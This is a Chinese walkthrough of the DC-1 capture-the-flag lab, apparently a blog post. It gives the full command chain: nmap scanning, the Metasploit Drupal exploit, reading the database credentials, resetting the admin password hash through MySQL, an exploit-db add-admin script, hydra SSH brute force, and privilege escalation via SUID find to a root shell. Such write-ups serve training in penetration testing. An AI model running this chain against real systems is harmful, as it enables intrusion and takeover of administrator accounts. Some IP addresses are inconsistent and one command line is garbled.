DC-1 靶机渗透测试(拿shell,提权)

目录

一. 环境

二. 信息收集

1. 主机发现

2.访问 192.168.1.184:80

三. 利用msfconsole 攻击(拿到flag1)

1. 漏洞利用成功

2. 进入会话 ,拿到flag1.txt  ---shell

​ 四. 找到配置文件,获取flag2

 五. 修改管理员密码,登录网站,拿到flag3

1. 获取交互式shell, 执行MySQL语句

 2. 查看管理员用户

 3. 修改管理员密码

 六. 用find语句,找到flag4

七. SUID提权,获取最后的flag


一. 环境

靶机:192.168.1.184

攻击机kali:192.168.1.98

(l网络配置都是NAT模式)

----开始---渗透

二. 信息收集

1. 主机发现

1. nmap -sP 192.168.1.0/24  或  arp-scan -l    #识别目标主机

2. nmap -sn 192.168.1.0/24 或者 nmap -sP 192.168.1.0/24  #主机发现/主机探测 

3. nmap -sS -A -p- 192.168.1.184  #识别目标主机服务,端口

  -A 全面系统检测、启用脚本检测、扫描等
  -sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

发现了靶机IP 192.168.1.184 及 80端口开放 

2.访问 192.168.1.184:80

发现网站是Drupal(CMS+PHP)搭建的,使用的是Drupal 7版本

三. 利用msfconsole 攻击(拿到flag1)

1. 漏洞利用成功

1. search drupal  #查找drupal的漏洞

2. use 2     #利用第2个龙洞

3. show options   #显示详情

4. set rhosts 192.168.1.184 # 设置靶机地址

5. run 或 exploit  # 开始攻击

  攻击成功后

6. pwd   # 查看当前路径

2. 进入会话 ,拿到flag1.txt  ---shell

四. 找到配置文件,获取flag2

根据提示:Every good CMS needs a config file - and so do you.

                 每一个好的CMS都需要一个配置文件——你也一样。  

 五. 修改管理员密码,登录网站,拿到flag3

1. 获取交互式shell, 执行MySQL语句

flag2提示:最好不要用暴力破解、数据库账号密码

操作发现账号密码无法直接登录mysql,利用netstat -ano    #查看端口情况 ,查看到3306端口只允许本地访问,而3306是mysql的默认端口,由此判断我们要获取一个交互式shell,目的是为了进入数据库,执行mysql语句

netstat -ano    #查看端口情况 

python -c 'import pty;pty.spawn("/bin/bash")'   #获取交互式shell,使其可执行MySQL语句

mysql -udbuser -pR0ck3t    #登录MySQL

 2. 查看管理员用户

show databases;  #显示所有数据库

use drupaldb;    #选择当前数据库为dr库

show tables;     #显示所以数据表

select * from users;   #显示users表中所有内容,查找管理员账户

 3. 修改管理员密码

方法1: 增加一个管理员

 查看Drupal版本,确定Drupal版本为7.24;在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

cat /var/www/includes/bootstrap.inc | grep VERSION  #查看版本信息
searchsploit drupal #查看该版本drupal
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2  -p  admin2   #增加管理员用户

方法2: 用drupal的加密脚本加密,脚本在根目录下的scripts

重新进入交互式shell,然后两段cd回到根目录,然后获得hash码

1. python -c 'import pty; pty.spawn("/bin/bash")'  #重新取得交互式shell
2. php scripts/password-hash.sh admin1   #后面你设置的密码
  
重新进入数据库改密码
3. mysql -udbuser -pR0ck3t  #重新进入MYSQL
4. use drupaldb;  进入数据库
5. update drupaldb.users set pass="$S$DaBKN3LqPTjspZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin";
6. <spZv34JYfbOIBtOZ1RMylzsAADoObNQHiPyYGu8kc" where name="admin"; 

注意: pass后面跟你的加密密码明文,第二段为$后第十二个字开始输

 登录账号 admin 密码 admin1,找到flag3

 六. 用find语句,找到flag4

find / | grep "flag*"

 上面用find 过滤出flag 可以直接找到flag4文件;下面是查找到find有特殊权限(是不是有点晕乎了,那就跳过这个。。)

 查看是否有sgid位的可执行文件(0输入,1标准输出,2错误输出)

find / –perm /4000 –print 2>/dev/null

#找特殊执行权限的文件,将错误输出到/dev/null下,/dev/null相当于linux中无底的垃圾桶

七. SUID提权,获取最后的flag

 falg4提示:Can you use this same method to find or access the flag in root?

1. find shell  -exec "/bin/sh" \;   #提权 (当前目录有shell文件)
    或者  find / -name shell -exec "/bin/sh" \; 
          name指定shell文件也可以touch自己创一个,/bin/sh调用shell
2. whoami #查看权限
3. cd /root #进入root
4. ls #列出文件
5. cat thefinalflag.txt #查看

再加一点: 我觉得到上面那步就已经结束了,下面的应该是提升权限详解

已知22端口发放,查看etc/shadow和/etc/passwd文件,发现Flag4用户可以hydra爆破一下

hydra -l flag4 -P ssh.txt      爆破成功(-P 后面是自定义爆破字典)Flag4   密码:orange

ssh flag4@172.16.43.140   登录flag4用户,进去之后,发现是“$”,而不是“#”,没有权限

find/ -perm -4000 2>/dev/null  检查SUID标识

find ./ aaa -exec '/bin/sh' \;   利用find提权,拿到root权限

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值